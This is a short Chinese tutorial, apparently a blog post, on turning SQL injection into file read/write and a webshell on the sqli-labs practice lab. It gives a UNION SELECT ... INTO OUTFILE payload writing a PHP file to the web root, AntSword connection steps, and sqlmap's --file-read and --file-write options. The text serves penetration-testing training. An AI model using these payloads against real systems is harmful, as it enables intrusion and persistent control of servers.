通过sql注入漏洞读写文件获取webshell

目录

一、前提条件

         二、手工方式

           读文件:

           写文件:

         三、Sqlmap方式

          Sqlmap 读取服务器文件

          Sqlmap 写文件到服务器并获取webshell


一、前提条件:

  1. 当前用户具有文件读写权限

    通过sql注入漏洞读写文件获取webshell_第1张图片

  2.  知道读写文件的绝对路径
  3. Mysql.ini设置secure_file_priv为下图所示

    通过sql注入漏洞读写文件获取webshell_第2张图片

二、手工方式

读文件:

通过sql注入漏洞读写文件获取webshell_第3张图片

通过sql注入漏洞读写文件获取webshell_第4张图片

 写文件:

  1. 首先发现注入点,可以利用注入手法进行回显
  2. 利用into outfile ‘上传文件路径+文件名’  进行写文件操作,如下所示:
    http://192.168.132.139/sqli-labs-master/Less-1/?id=2' and 1=2 union select 1,"",3 into outfile 'C:\\soft\\phpstudy\\WWW\\1.php' --+

    通过sql注入漏洞读写文件获取webshell_第5张图片

  3. 成功上传一句话木马

通过sql注入漏洞读写文件获取webshell_第6张图片

    4. 用蚁剑连接拿到webshell

通过sql注入漏洞读写文件获取webshell_第7张图片

三、Sqlmap方式

Sqlmap 读取服务器文件

--file-read参数

通过sql注入漏洞读写文件获取webshell_第8张图片

通过sql注入漏洞读写文件获取webshell_第9张图片

Sqlmap 写文件到服务器并获取webshell

–file-write和–file-dest

将已经写好的shell.php  -----/home/kali/Desktop/shell.php

通过sql注入漏洞读写文件获取webshell_第10张图片

 成功上传:

用蚁剑连接: 

通过sql注入漏洞读写文件获取webshell_第11张图片

你可能感兴趣的:(网络安全,sql,web安全,安全)